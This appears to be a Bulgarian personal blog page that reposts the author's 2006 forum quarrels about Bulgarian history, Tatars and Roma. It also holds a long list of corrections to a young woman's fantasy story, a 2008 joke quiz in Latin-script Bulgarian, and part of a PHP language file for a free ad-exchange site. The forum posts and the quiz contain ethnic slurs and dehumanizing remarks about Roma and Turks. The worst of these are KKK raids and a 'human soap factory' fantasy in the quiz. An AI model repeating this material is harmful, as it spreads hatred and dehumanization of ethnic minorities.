"Що се отнася до гаврите с българската култура и българския народ - по време на Балканските войни един френски писател, Пиер Лоти, си позволява да обижда българите.И един български офицер,арменец,го предизиква на дуел..."
АМИ НЕ Е БИЛ КАТО ТЕБЕ, ДЕТО ПОДКРЕПЯШ ТУРЧИНА, КОЙТО ТИ КАЗВА, ЧЕ КУЛТУРАТА НА БГ ПРЕЗ 14-ти век била БАЙ-ГАНЬОВСКА И ОСМАНЛИИТЕ ДОНЕСЛИ ТУКА МИР И КУЛТУРА + БАНИ!...
"така че знам колко е скъпо за арменците всичко българско,но моля те, не се връзвай на провокациите в стил"Дайте да спасим честта на българщината от турски нападки!"."
ПРОВОКАЦИИ ПРАВИШ САМО ТИ ! АМА ТЕМИЧКАТА ЗА ФОЛКЛОРА И ЦИГАНИТЕ МНОГО ХУБАВО ИЗСКОЧИ ПАК НАЯВЕ, ДА ВИДИШ КАКЪВ ИМ Е ОНТОСА В БГ-СЪЗНАНИЕТО, ДЕ!
"Защото младежът,представящ се като Турчинът, е прав за доста неща,и най-малко се е подигравал с българската култура."
КЬОРАВА ДА СИ ПАК НЯМА ДА НАПИШЕШ НЕЩО ТАКОВА!"
Доста лоша жена беше тази. Писал съм за нея и по-рано. Даже настоявала пред един хакер да ми хакват акаунта и да пишат лошотии от мое име... неприятна личност. А аз отдавна вече съм твърд пацифист, интернационалист и за мен всички етноси, народи са равни.
共产
Mon Mar 6 21:21:15 2006
...
"Благодаря, радвам се, че има хора, които да ценят историческите истини и да не се провокират от народни врагове като редактиране | oтговор на това съобщение
жената от ромски произход - Персика.
Това е ОНТИЧЕН ТЕХЕН СТАТУС В НАРОДНОТО БЪЛГАРСКО САМОСЪЗНАНИЕ, ОТРАЗЕНО ВЕЛИКОЛЕПНО ВЪВ ФОЛКЛОРА И "ЗАПИСКИТЕ" на З. Стоянов!"
Не бива с лека ръка да слагаме под общ знаменател всички членове на даден етнос. При всеки един си има и добри, и лоши хора.
共产
Mon Mar 6 21:47:37 2006
...
Като кажа, че съм българин не ти харесва, като се зова татарин пак не ти харесва! Даже
редактиране | oтговор на това съобщение
"ромите трябва да имате малко по-определена позиция, при положение, че някои от вас са станали учители , благодарение на другарят Тодор Живков, който ви вкара да учите с 2-ки и 3-ки, другари цигани!
И така:
Аз кошмари нямам. Сънувал съм роми (Според народните БЪЛГАРСКИ поверия, ако сънуваш цигани те чака обир, неприятности и пр. ), ама ти не си една от тях, така че не се мисли за кошмар. То бива самочувствие, ама ....
Като говорим за пишман-историци се сещам за една Дора Вълевска, дето бърка елементарни неща в професията си.
За копи-пейста по-рано се пействаха много македонски народни песни, където се говори за татарите, НО КОЛКО ПО-БОГАТ е фолклорът относно циганите!
________________
ПРЕДИ ЛЕНИН НЯМА НИКАКВА "ВОЛЖКА БЪЛГАРИЯ", А ИМА "КАЗАНСКАЯ ГУБЕРНИЯ".
Волжко-Камска България изчезва мнооооооооооооооооооооооооого преди Ленин да се роди ( той самият има прабългарски гени по чувашка линия и не е мразел нито чувашите, нито татарите, нито башкирите, даже иска да даде на чувашите повече земя, но те отказват - т.нар. Симбирски случай ).
Последните останки от В-К БУЛГАРИЯ са БУЛГАРСКОТО И ЖУКОТИНСКО КНЯЖЕСТВО, които загиват във войни с русите и Тамерлан. А това е 15-ти век!!!!!!!!!!!
ЛЕНИН, АКО НЕ ЗНАЕШ, ЖИВЕЕ ДОСТА ПО-КЪСНО!
"ЧЕРЕН" в ТЮРКСКИЯТ СВЕТОГЛЕД Е СИНОНИМ НА "СЕВЕРЕН". И до днес КАПАНЦИТЕ наричат СЕВЕРНИЯТ ВЯТЪР - "ЧЕРЕН".
Преди ВУЛЖКИТЕ БУЛГАРИ СА НАРИЧАНИ "ЧЕРНИ БУЛГАРИ". Но това няма как да се знае от недоучилите тройкаджийки от ромски произход, нали?
И както беше поучена многократно всякакви лингвистични, етнографски, исторически, антропологични и генетични данни ИЗКЛЮЧВАТ връзката на ТАТАРИ ( образувани от кумани+ прабългари+ монголи и др.) с ЦИГАНИТЕ!
Доган може да е с цигански корени, ама Иван Костов си е циганин също. Т.е. все са от твоята черга хора! Така че...
"ЦИГАНСКИ ТАТАРИ" в България казват на ЕДНА ЕТНОГРАФСКА ГРУПА ТАТАРИ, които НЯМАТ НИЩО ОБЩО С ЦИГАНИТЕ!
Ето какво казва един от най-видните татароведи в БГ:
"The pejorative term Tatar Sengenesi ("Tatar Gypsy") refers to a particular group of Tatars in Bulgaria (for example, a family from the village of Golyamo Vranovo, Rousse district), which probably came from Karachai.
"
И така - ПЕЙОРАТИВНОТО "ТАТАРСКИ ЦИГАНИ" се отнася до САМО ЕДНА ОТДЕЛНА ГРУПА ТАТАРИ В БЪЛГАРИЯ,
които са...фактически с голяма прабългарска жилка!!! КАРАЧАЕЦИ-БАЛКАРЦИ!
Знайно е, че прабългарите са били по-тъмни от куманите. Ето защо :
а/ чувашите са по-тъмни от казанските татарите
б/ карачаево-блакарците са по-тъмни от кримските татари, до степен да бъдат наричани ТАТАРСКИ ЦИГАНИ.
Сега видя ли колко :
а/ Не знаеш
б/ Изопачаваш
?
___________________"
В интерес на истината много неща от историята тя ги разбираше и даже съм понаучил това-онова от нея. Обаче и доста неща наистина й бяха неясни, бъркаше, а и сигурно умишлено тролеше. А дали наистина е била "Дора Вълевска" и наистина е била историчка - не знам. В интернета всеки може да си се представя за всеки и всичко.
Тема Отг: "През 14-ти век България е център на Бай Ганьовска култура!" oтговор на това съобщение
Автор turan
Дата Mon Mar 20 00:31:49 2006
От IP ...
"а бе тъп китаец не се ли умори да всяваш омраза между хората щом се чувстваш българин какъв хуй търсиш в чужда държава защо не работиш в и за Българля обвиняваш хора които си плащат данъците и работят за тази страна не ме интересува какво са правиви дедите ни на нас сега ни трябва мир и уважениъе един към друг какъв филосов си не мога да разбера с тия обиди и псувни и сигурно се мислиш за много интилигентен"
Това беше писано от някакво турско айпи, водещо към Анкара. Та явно той също не живее в България, но лъже, че бил от онези, които си плащали данъците и работели за България... От езика му личи, че също не чужд на обидите и псувните.
За да не се създаде погрешно впечатление, ще кажа, че съм съгласен, че трябва мир и уважение; а това да защищаваш истината (историческата) не те прави всяващ омраза. Разбира се, по онова време, както казах, съм бил по-краен, а и не е трябвало да си губя времето с тези форуми.
Тема Отг: "През 14-ти век България е център на Бай Ганьовска култура!" oтговор на това съобщение
Автор Турчинът
Дата Mon Mar 20 01:19:51 2006
От IP ...
"Туран той не е Китаец бе той е от нашите рязаните ама е Комунист... нали разбираш рязан Комунист ама недорязан... както недодялан пън...е тия са ни предателите от възродителния той за това е далече сега..."
Ето, имаме си и запазена простащината на въпросния "Турчинът". Значи, няма да коментирам - нито съм обрязван, нито съм предавал някой по време на Възродителния процес, защото точно тогава съм бил в Либия, а и да съм би в България, въобще е нямало да участвам в такива неща, защото съм си гледал уроците в основното училище.
Отг: Как пък не те е срам в темата за Българската култура да ми говориш за антикомунизъм и да ми подкрепяш турците, бе?! oтговор на това съобщение
Автор звънче1
Дата Mon Mar 20 13:17:25 2006
От IP ...
""Като е толкова хубаво в Куба защо кубинците се давеха да стигнат Щатите."
Като е толкова хубаво в Щатите защо толкова американци живеят на други места (даже има кукумицини, дето са избрали да живеят в България!).
Това е единственото на което ще ти отговоря. Нещата са несравними. Американци живеят навсякъде, но стигат до там с нормалните за съвремието превозни средства. Кубинците незнайно защо плуват... Самия ти довод ми показва за сетен път, че оборваш безогледно и безсмислено и най-важното неубедително. Пак ти повтарям, не ми се намесваше, това си беше ваша закачка. Хайде не ми пиши вече че не мога да чета целенасочени и напосоки хвърлени обиди
Ти си кукумицин, че живееш в Китай. Разбра ли ерудит измислен.
А ругият пост, където ми казва, че съм "клиничен случай" е забърсан предвидливо, по някакви съображения от някой/някоя!
Това са САМО НЯКОЛКО от примерите! При желание ще покажа ВСИЧКИ!
Не е редно ГОРСКИЯТ, дето само вика, че се забавлявал с мене и не искал да комуникира с мене, да ДЕЙСТВА СЕРИОЗНО И ЦЕЛЕНАСОЧЕНО, ПОДВЕЖДАЙКИ ХОРАТА, БЕЗ ДА КАЗВА КАКВО СЕ СЛУЧВА РЕАЛНО!"
Всъщност, сега мисля, след като вече достатъчно съм научил за САЩ, България и др. държави, че някои места в България са по-добре от някои места в САЩ. Същото важи и за Куба - има значение къде си в Куба.
Преди години, да избереш Китай за живеене не беше толкова лошо решение... Сега - само, който наистина може да се устрои, предвид повечето трудности пред повечето от чужденците в Китай.
А аз съм ерудит, безспорно; много по-ерудиран от повечето по света. Нон-стоп се уча. Не оставям и ден без учене и спорт. За радост, вече не "робувам" на такива спорове, водещи до под кривата круша!
-
За тези, които искат да стават писатели, а още не владеят добре родния език. Има много такива хора. За да си писател, не е нужно само въображение и желание, трябва си достатъчна грамотност. Това е пример от преди години, когато едно момиче ми даде да прегледам някакво нейно произведение. Беше с много грешки. Тя после даже спря да ми говори, без никакъва видима причина; възможно е да е било и защото бях прекалено откровен с нея, че е допуснала следните грешки 48 грешки:
"1. Трябва като се тръгне да се пише в едно време да се пише само в него. Например, ако се почне в сегашно, се продължава със сегашно. Ти почваш тука със сегашно време("имащ", "управляван"), а продължаваш с минало("спирал", "приспивал").
2. Многоточието е винаги от три точки. Самоот три...
3. Името на героя трябва да се въведе в началото. Защото изведнъж като се прочете "Мадара" и не е ясно кой точно е това, ако преди това не е казано кой се казва така. Същото е и с името "Кушики".
4. Трябва да има и съгласуване по род. Например като пишеш "дъщеричката" после не може да се пише ""Обичам те тате.." продумало то и се сгушило в завивките..", а трябва да се напише "ТЯ". Ако си писала преди, че е дете или детенце/момиченце, тогава ще е "ТО".
5. Трябва да се избере само ЦАРСТВО или само КРАЛСТВО, защото исторически и семантично не са еднакви понятия, а само подобни.
6. Ако е в някой филм, ще го пишат критиците като фал момента, когато Мадара също може да язди дракон - нали, все пак, само един от рицарите разкрил начина. Трябва да се поясни, че Мадара в същото време е видял как става или че, например, на младини е яздил дракони - нещо такова, за да не става този фал.
Правописни, пунктуационни, стилистични и др. грешки за поправяне:
1. Тате.. кога ще ми разкажев историята до край..?
Тате, кога ще ми разкажев историята до край?...
2. с усмивка и и казал
с усмивка и й казал
3. "Един ден мила моя.. ще пораснеш и ще ти разкажа.."
"Един ден, мила моя, ще пораснеш и ще ти разкажа..."
4. А мама кога ще дойде да ми разкаже приказка..?
А мама кога ще дойде да ми разкаже приказка?...
ПО-ДОЛУ, КЪДЕТО ИМА САМО 2 ТОЧКИ ЗА МНОГОТОЧИЕ ВСИЧКО ДА СТАНЕ НА 3 ТОЧКИ. А СЪЩО ТАКА ДА НЕ СЕ СЛАГА ПРЕКАЛЕНО МНОГО, АКО НЕ СЕ НАЛАГА. НА МНОГО МЕСТА ГИ ИМА БЕЗ НУЖДА ИЛИ НАПРАВО ПОГРЕШНО.
5. а сега заспивай иначе скоро няма да се върне мама!
а сега заспивай, иначе скоро няма да се върне мама!
6. Мадара излязъл от стаята и затворим вратата но тя се открехнала и дочул че дъщеричката му се моли..
Мадара излязъл от стаята и затворил вратата, но тя се открехнала и дочул, че дъщеричката му се моли.
7. станало на 14 годинки
станало на 14 години (годинки е по-адекватно за деца на 2-3-4... 14 са вече тийнейджъри и по-приляга "години")
8. Мадара отново седнал за разказва приказката
Мадара отново седнал да разказва приказката
9. "хн.. защо толкова настояваш всяка вечер да е любовната история..?
ТРЯБВА ДА Е "ХМ", ЗАЩОТО НЯМА МЕЖДУМЕТИЕ "ХН".
10. Живеел един принц на който все му се натяквало че трябва да се жени вече.
Живеел един принц на който все му се натяквало, че трябва да се жени вече.
11. разсърден на целият свят
разсърден на целия свят
12. ноо отстрани му се появила девойка ..
но отстрани му се появила девойка...
13. с дълга дълга кестенява коса .. небесно сини очи, усмивка на лице облечена в черена рокля на цветенца .. носеща съдове да налее вода..
с дълга-дълга кестенява коса, небесно сини очи, усмивка на лице, облечена в черена рокля на цветенца, носеща съдове да налее вода...
14. принцът се скрил за голямото дърво до него за да я наблюдава..
принцът се скрил зад голямото дърво до него, за да я наблюдава.
15. тъй като усетил нещо в нея.. нещо което го нямало в другите момичета..
тъй като усетил нещо в нея; нещо, което го нямало в другите момичета.
16. още от този миг узнал че иска точно нея за съпруга.. но било важно да докаже че е достойна ..
още от този миг узнал, че иска точно нея за съпруга... но било важно да докаже, че е достойна.
17. те също я харесали от първият поглед
те също я харесали от пръв поглед
18. поставили и задача
поставили й задача
19. по случей
по случай
20. момичето не харесало това което казали но се съгласила..
момичето не харесало това което казали, но се съгласило.
21. празникът дошъл след броени дни а танцът се танцувал цял ден
празникът дошъл след броени дни, а танцът се танцувал цял ден
22. момичето се подгатвяло а при нея дошъл принца който да я поздрави и да и пожелае късмет а тя му отвърнала че нямала да го направи само заради това че може да се омъжи за него и че всъщност това е най-малката причина заради която ще танцува..
момичето се подготвяло, а при нея дошъл принцът, за да го поздрави и да му пожелае късмет, а то му отвърнало, че нямало да го направи само заради това, че може да се омъжи за него, и че всъщност това е най-малката причина, заради която ще танцува...
23. и издържало целият танц
и издържало целия танц
24. по сцената имало капки кръв от краката и тъй като се разранили от тесните и обувки..
по сцената имало капки кръв от краката й тъй като се били разранили от тесните й обувки.
25. искайки отдавна момичето не могъл да се премири с факта че тя принадлежи на друг
искайки отдавна момичето, не могъл да се премири с факта, че тя принадлежи на друг
26. силите на отбрана
силите за отбрана
27. с силата
със силата
28. най лощото
най-лошото
29. ии Сенджу влязал
и Сенджу влязал
30. Сенджу.. какво искаш от нас..?
Сенджу, какво искаш от нас?
31. А нищо особено стари друже.. дошъл съм да ви навестя
А, нищо особено стари друже... дошъл съм да ви навестя.
32. царицата мъцът си под ръка и го гушнала силно да му покаже че р до него..
царицата хванала мъжа си под ръка и го гушнала силно, за да му покаже че е до него.
33. Ако щеш цялото кралство разруши няма да ти я дам!!
Ако щеш цялото кралство разруши - няма да ти я дам!!!
34. и се качили на дракона с който той бил дошъл
и се качили на дракона с който бил дошъл
35. = Имахме сделка гад такава!
- Имахме сделка, гад такава!
И ТУКА НЕ СТАВА ЯСНО КОЙ ГО Е КАЗАЛ ТОВА ВЕДНАГА. ДОБРЕ Е ДА СЕ ДОБАВИ НЕЩО ОТ ТИПА:
- Имахме сделка, гад такава! - извикала тя
36. Друг път се уточнявай любов моя..
Друг път се уточнявай, любов моя.
37. се мирало бебето
се намирало бебето
38. бебето им а то ревяло силно и така привлекло вниманието на един дракон към себе си
бебето им, а то ревяло силно и така привлекло вниманието на един дракон към себе си
39. вече се бях освободил от тези които ме бяха хванали
вече се бях освободил от тези, които ме бяха хванали
40. затичах се към теб но земята се разцепи и нямаше как да стигна до теб
затичах се към теб, но земята се разцепи и нямаше как да стигна до теб
41. видя че дракона
видя, че драконът
42. дракона щеше да те прониже с нокът
драконът щеше да те прониже с нокът
43. един от нашите рицари бе яхнал един от драконите и бе разгадал как да го управлява и мина покрай тях.. майка ти те хвана, уви те набързо и те даде на него да те даде на мен..
един от нашите рицари бе яхнал един от драконите и бе разгадал как да го управлява, и мина покрай вас. Майка ти те хвана, уви те набързо и те даде на него, за да те даде на мен.
44. само докато дракона с теб се отдалечи
само докато драконът с теб се отдалечи
45. Стигат до краят на коридора
Стигнали до края на коридора
46. коридора а там стой един огримен семеен
коридора, а там стои един огромен семеен
47. портрет на мадара Кушики и дъщеричката им а пред портрета витрина с шалчето на Кушики
портрет на Мадара, Кушики и дъщеричката им, а пред портрета витрина с шалчето на Кушики
48. Вярвам че е жива мила.. все още усещам присъствието и.. вярвам че някой ден ще се върне за да направи света ни хармоничен отново..
Вярвам, че е жива мила... все още усещам присъствието й... Вярвам, че някой ден ще се върне, за да направи света ни хармоничен отново..."
Аз си казвам истината в очите. За умните хора това е полезно и ще го оценят.
-
Ето едно на английски (със съкращение):
"Hello, dear Jakson.
I like Coin Pusher:elephant: and Winners Road:farao:
Other games - they're about a SEM contest in Bulgarian language, some of the sites:
A/ This ... :albino:
B/ And here (...) about the same.:alien:
Also about an optimization contest:
1. This Гярб вечнълс site.:sunny:
2. And here (...) about the same one.:face:
---
Доста победи имах едно време из оптимизаторските състезания. 8)
I want to know what are the god like games?:heart: I never heard about them.
:cat:"
-
Различни теми - деца на звезди, забогатяване, добронамереност и т. н.
1. "а бтв - има сайтове, в които може да си сложиш запис и да си го пуснеш нещото, аз също не знам как се прави, затова го направих по този начин клипа". - Нямам спомен за какво е ставало дума точно и кой го е писал това, но щом е запазено по някаква причина - да си го имаме и тук. Аз клипове напоследък не съм правил.
2. "Просто казвам, че хората, които им дават наготово, говоря за нещо тип деца на звезди, често тръгват по лошия път, като всички деца на звезди или деца-звезди станали наркомани?" - Това е някакво такова твърдение, което застъпва идеята, че презадоволеността не води на добро. Обаче, като човек се обърне към хилядите случаи, когато бедни хора стават престъпници по неволя (от глад, дори), то е ясно, че е по-добре да си от презадоволените (тогава, при добро възпитание, не може да ставаш наркоман или нещо си). Бедността предразполага много повече към престъпност, отколкото богатството.
3. "Спирам да чета за тази вечер - утре ще препрочета, ще дочета и ще видя какво по-рационално и правилно отношение да взема, защото наистина, ако така ще я караме - няма да стане работата - нямам против спорове, но съм напълно и решително против ПРЕИНАЧАВАНЕ, УСЪМНЯВАНЕ (параноидно) В ДУМИТЕ МИ и от сорта." - Това определено си е мое твърдение и си стоя зад него.
4. "Ами Гери, аз бях също в подобно - е, не в общежитие, а в ТАВАНСКА стая, БЕЗ тоалетна и БЕЗ асансьор. 5 години ФУЛ! Това ми беше достатъчно да осъзная нещата, но имах пропуски - все пак ти на Дружба през цялото време в панелките, а аз едва в Китай разбрах какво е да си в панелка и да чуваш даже как хората вървят или как си пускат казанчето в тоалетната. Така че, малко със закъснение, но усетих какво е да си в НЕ-панел. А жената ми послужи стимулиращо (това, че на тебе почти по същото време ти е послужило общежитието по този начин - защото ние сме женени над 5 години с тази, предполагам, че горе-долу по едно и също време сме достигнали до мъдростта: "по-добре да имаме пари, за да избягаме от ПАНЕЛА!!!", е похвално и възхитително от моя гледна точка!) Само казвам, че като ти говорят какво е да си беден и какво е да си богат, ти се замисляш повече и вече не ти е достатъчно просто да си четеш книжките (както на мен ми беше преди), а се замисляш по-отговорно във вида на: "Абе, аджеба, утре ако някой в семейството го хване левкемия и трябва присаждане на костен мозък за десетки хиляди, а НЯМАМЕ, какво ще правим? Книгите ли ще ни спасят?! Нееее!" и лека-полека, почвам да се ориентирам в капиталистическа действителност, а не да живея с непокрития си оптимизъм, че видиш ли - не пием, не пушим и ще сме здрави! Да, ама не - вируси, радиации и... ракове, хепатити... Трябва си визия за забогатяване, та и аз - всеки ресурс гледам да го оптимизирам малко или много... И като говорим за Миро - уважавам го за това, че гледа по-заземено на нещата, но и го критикувам за това, че си е позволил ДЕТЕ преди дори да се е дипломирал съществено! Това казвам и това мисля аз - без агресия, без критики и насмешка - всички вие - ти, Миро, Цефи, Иванчо сте ми като някакви виртуални, но и милички хора, които поне творят и в са основно добрички, а не основно зли..." А в момента даже и капитализъм не е в чист вид; превърнало се е в почти типична феодална деспотия (императорска; империалистическа), където няма хуманистично отношение и дори рационално напоследък - човешките животи, икономиката - нищо няма значение. Не отиват нещата на добре в тази държава.
-
Хумористичен тест, за вътрешна употреба, между приятели - визирах един, който тогава беше с много ултранационалистически и расистки предразсъдъци (надявам се вече да ги е преодолял), един със спортомания (и да се надявам, и да не се надявам - той си е безнадежден случай), една сърбофилка и един по-обикновен човек.
От 2008-ма година е, на шльокавица:
"ROMANTI4NA NATURA LI STE?
1. Vijdate obsipano sys zvezdi nebe. Kakvo si mislite?
a) Typo, gadno nebe! 4erno! Kato mangal!!! I ti 6te stane6 na sapun nqkoy den!
b) Taq ve4er dali Juventus 6te vkarat izravnitelen gol pri rezultat 1:0 pone v 37-ta minuta?
c) Ako mojeh pone polovinata zvezdi da dam na moeto momi4e kato podaryk...Eh, Megi, Megi...
d) I 6to trqbva da imame vhodno po filosofiq? Ne moje li po 6ah?! Nora kyde li e sega?!...
2. Kogato ste na po4ivka stavate li sutrin rano da nablyudavate izgreva na slyntseto?
a) Sutrin stavam rano samo za aktsiya s biala kachulka na KKK !
b) Stavam, za da otida do toaletnata, za6toto me tsepi glavata ot alkohola...
c) Po printsip stavam, za da si predam raportite do Belgrad, a i da kaja 2 dumi na Kaka, predi da e trygnala za rabota!
d) Za kakvo da gledam slyntseto? Az gledam porno...
3. Na kino ste s lyubimiq 4ovek i gledate film kato "Titanik", pylen sys syrtserazdiratelni sceni. Kakvo pravite?
a) Dokato traqt dosadnite sceni, oglejdam kyde to4no be6e sednal tsiganina, za da go podpukam prez po4ivkata!
b) 6te se razpla4a, za da q nakaram da me ute6ava...Az si imam taktika!
c) Ute6avam Megi, koqto pla4e neistovo...v sy6toto vreme trqbva da ute6avam i Belgrad...a mene koy 6te me ute6i, be, maika mu...!!!
d) Kato tsqlo ne razbiram filmite lesno i, za tazi tsel, predi da ida s priqtelka gi gledam predvaritelno 5-6 pyti. Sled tova, poneje, pak ne sym siguren kyde to4no se pla4e, kyde se smee i kyde prosto si traem, pravq kakvoto pravi tq i vsi4ko e nared!
4. Sy6testvuvat li spored Vas hora, "syzdadeni edin za drug" ?
a) Da! Az i Emiliq. Samo 4e onq Shop byrka rabotata! Smotanqk!!!
b) Nqma takiva gluposti, no go izpolzvam tva da broikam matskite...Hey, matska, ya mi svirni,ako...
c) Izku6avam se da kaja "da", sled kato se zapoznah s Megi!
d) Ne gi razbiram az tezi ne6ta. I kak taka sa syzdadeni? Horata ne se li rajdaha?...Zabravil sym...
5. Hvyrlqli li ste se nqkoga ot radost na vrata na nqkoi?
a) Hvyrlqm se. Da du6a mangali! Ama ne e to4no ot radost! Radostta ide posle...
b) E, gluposti sega! Niamam vreme, sega gledam tenisa!!!
c) Za6to "nqkoga"? Az vinagi taka pravq.
d) Opitah se da se hvyrlq na vrata na Emilia...No me nokautira...
6. Vqrvate li, 4e nqkoi moje da obi4a tsql jivot?
a) Vqrvam, che moga da mrazq tsql jivot-mrazq turtsi, tsigani...Vsy6tnost DA! Bih obi4al fabrikata za 4ove6ki sapun tsql jivot!
b) Lyubovta kym sporta li? Razbira se! A!!! Za malko da zabravq da si pusna Voleq po bTV !!!
c) Moje, stiga i Kaka da me obi4a!!!
d) Ako Nora 4ete tova - smqtam. Ako li ne - tova sa gluposti! Az sym tip "ednodnevka"..."
-
<?php
$language= $_COOKIE[language];
if ($language==""){$language="eng";}
switch ($language) {
case "bg" :
$infoword="Рекламирайте сайта си безплатно. Като сложите нашия ФРЕЙМ във вашия сайт, събирайте точки. После ги разпределете възможно най-разумно
и в зависимост от това как сте ги разпределили, вашите реклами ще се показват в другите сайтове, които са се регистрирали в нашата система за Реклама!";
$vajnoword="";
$word1="Вход";
$word2="Потребител";
$word3="Парола";
$word4="Регистрация";
$word5="E-mail";
$word6 = "Безплатна реклама на вашия сайт";
$word7="Реклама";
$word8="Забравена парола";
$word9="Важно";
$word10="Блог";
$word11="Попълването на всички полета е задължително";
$word12="Име, Фамилия";
$word13="Парола";
$word14="Повтори парола";
$word15="E-mail адрес";
$word16="Код";
$word17="Правила за включване";
$word18="Име, Фамилия трябва да са поне 3 символа";
$word19="Паролата трябва да е поне 3 символа";
$word20="Паролите не са еднакви";
$word21="Моля, попълнете e-mail адрес";
$word22="Въвели сте невалиден e-mail адрес";
$word23="Пример";
$word24="Мои реклами";
$word25="Точки";
$word26="т.";
$word27="Мои реклами";
$word28="Добави Реклама";
$word29="Фрейм";
$word30="Победители";
$word31="Услуги";
$word32="Изход";
$word33="Сайта е в процес на разработка";
$word34="За да печелите точки трябва да копирате и сложите този фрейм във вашият сайт";
$word35="Начална страница";
$word36="За нас";
$word37="Партньори";
$word38="Контакти";
$word39="Всички права запазени";
$word40="Безплатно можете да рекламирате";
$word41="Безплатна Реклама";
$word42="своя сайт, без такси !";
$word43="Снимка";
$word44="Добави Реклама";
$word45="Оставащи символи";
$word46="Заглавие";
$word47="Описание ред 1";
$word48="Описание ред 2";
$word49="Показван URL";
$word50="Целеви URL";
$word51="Избери език на рекламата";
$word52="Добави";
$word53="Избери категория";
$word54="SEO, Реклама и Маркетинг";
$word55="Авто-мото";
$word56="Компютри и Електроника";
$word57="Клюки и Развлечения";
$word58="Култура и Изкуство";
$word59="Мода и стайлинг";
$word60="Медии, Новини";
$word61="Музика и Видео";
$word62="Окултизъм";
$word63="Спорт и Хазарт";
$word64="Туризъм";
$word65="Търговия и Услуги";
$word66="Портали и Търсачки";
$word67="Бизнес и Финанси";
$word68="Запознанства и Общуване";
$word69="Игри и Забавления";
$word70="Имоти и Строителство";
$word71="Лични страници";
$word72="Други";
break;
case "eng" :
$infoword="";
$vajnoword="";
$word1 = "Enter";
$word2 = "User";
$word3 = "Password";
$word4 = "Register";
$word5 = "E-mail";
$word6 = "Free ads for your site";
$word7 = "Advertising";
$word8 = "Forgot Password";
$word9 = "important";
$word10 = "Blog";
$word11 = "All fields are mandatory";
$word12 = "Name, Family name";
$word13 = "Password";
$word14 = "Confirm password";
$word15 = "E-mail";
$word16 = "code";
$word17 = "T.O.S";
$word18 = "Your name must be at least 3 characters";
$word19 = "The password must be at least 3 characters";
$word20 = "The passwords are not equal";
$word21 = "Please fill in your e-mail address";
$word22 = "You entered an invalid e-mail address";
$word23 = "Example";
$word24 = "My ads";
$word25 = "Points";
$word26 = "p.";
$word27 = "My ads";
$word28 = "Add Advertising";
$word29 = "Frame";
$word30 = "Winners";
$word31 = "Services";
$word32 = "Exit";
$word33 = "The site under construction";
$word34 = "To earn points you need to copy and put this frame in your site";
$word35 = "Home page";
$word36 = "About us";
$word37 = "Partners";
$word38 = "Contacts";
$word39 = "All rights reserved";
$word40 = "You can advertise for free";
$word41 = "Free advertising";
$word42 = "Your site, free of charge!";
$word43 = "Images";
$word44 = "Add Advertising";
$word45 = "Characters left";
$word46 = "Title";
$word47 = "Description line 1";
$word48 = "Description line 2";
$word49 = "Display URL";
$word50 = "Target URL";
$word51 = "Choose the language of the advertising ";
$word52 = "Add";
$word53 = "Select Category";
$word54 = "SEO, Advertising and Marketingг";
$word55 = "Auto Moto";
$word56 = "Computers and Electronics";
$word57 = "Gossip & Entertainment";
$word58 = "Arts and Culture";
$word59 = "Fashion and styling";
$word60 = "Media, News";
$word61 = "Music and Video";
$word62 = "Occultism";
$word63 = "Sports and Gambling";
$word64 = "Tourism";
$word65 = "Trade and Services";
$word66 = "Portals and search engines";
$word67 = "Business and Finance";
$word68 = "Dating and friendship";
$word69 = "Games and Entertainment";
$word70 = "Property and Construction";
$word71 = "Personal Pages";
$word72 = "Other";
break;
case "ru" :
$infoword="";
$vajnoword="";
$word1 = "Enter";
$word2 = "Пользователь";
$word3 = "Пароль";
$word4 = "Регистрация";
$word5 = "Электронная почта";
$word6="Бесплатная реклама вашего сайта";
$word7 = "Реклама";
$word8 = "Забыли пароль?";
$word9 = "Важно";
$word10 = "Блог";
$word11 = "Вы обязаны заполнять все поля";
$word12 = "Имя и отчество";
$word13 = "Пароль";
$word14 = "Подтвердите пароль";
$word15 = "Адрес электронной почты";
$word16 = "Код";
$word17 = "Правила регистрации";
$word18 = "Ваше имя должно быть не менее 3 символов";
$word19 = "Пароль должен быть не менее 3 символов";
$word20 = "Пароли не совпадают!";
$word21 = "Пожалуйста, заполните адрес электронной почты";
$word22 = "Вы ввели неверный адрес электронной почты";
$word23 = "Пример";
$word24 = "Мои рекламы";
$word25 = "Очки";
$word26 = "т.";
$word27 = "Мои рекламы";
$word28 = "Добавить реклама";
$word29 = "Фрейм";
$word30 = "Победителей";
$word31 = "Услуги";
$word32 = "Выход";
$word33 = "Сайт находится в стадии разработки";
$word34 = "Чтобы заработать очки Вам нужно скопировать и поместить этот фрейм на своем сайте";
$word35 = "Начальная страница";
$word36 = "О нас";
$word37 = "Партнеры";
$word38 = "Контакты";
$word39 = "Все права защищены";
$word40 = "Бесплатно вы можете рекламировать";
$word41 = "Бесплатная реклама";
$word42 = "Ваш сайт бесплатно!";
$word43 = "Изображение";
$word44 = "Добавить реклама";
$word45 = "Осталось символов";
$word46 = "Тайтл";
$word47 = "Описание линия 1";
$word48 = "Описание линия 2";
$word49 = "Показать URL";
$word50 = "Целевой URL";
$word51 = "Выберите язык рекламы";
$word52 = "Добавить";
$word53="Выберите категорию";
$word54="SEO (СЕО), реклама и маркетинг";
$word55="Авто-мото";
$word56="Компьютеры и электроника";
$word57="Сплетни и развлечения";
$word58="Культура и искусство";
$word59="Мода и стиль";
$word60="Новости, СМИ";
$word61="Музыка и видео";
$word62="Оккультизм";
$word63="Спорт и азартные игры";
$word64="Туризм";
$word65="Торговля и услуги";
$word66="Поисковые системы и порталы";
$word67="Бизнес и финансы";
$word68="Знакомства и общение";
$word69="Игры и развлечения";
$word70="Недвижимость и строительство";
$word71="Персональные страницы";
$word72="Другие";
break;
case "tr" :
$infoword="";
$vajnoword="";
$word1 = "Enter";
$word2 = "User";
$word3 = "Passwort";
$word4 = "Registrieren";
$word5 = "E-Mail";
$word6="Безплатно си рекламирай сайта";
$word7 = "";
$word8 = "";
$word9 = "";
$word10 = "";
$word11 = "";
$word12 = "";
$word13 = "";
$word14 = "";
$word15 = "";
$word16 = "";
$word17 = "";
$word18 = "";
$word19 = "";
$word20 = "";
$word21 = "";
$word22 = "";
$word23 = "";
$word24 = "";
$word25 = "";
$word26 = "";
$word27 = "";
$word28 = "";
$word29 = "";
$word30 = "";
$word31 = "";
$word32 = "";
$word33 = "";
$word34 = "";
$word35 = "";
$word36 = "";
$word37 = "";
$word38 = "";
$word39 = "";
$word40 = "";
$word41 = "";
$word42 = "";
$word43 = "";
$word44 = "";
$word45 = "";
$word46 = "";
$word47 = "";
$word48 = "";
$word49 = "";
$word50 = "";
$word51 = "";
$word52 = "";
$word53="";
break;
case "ch" :
$infoword="";
$vajnoword="";
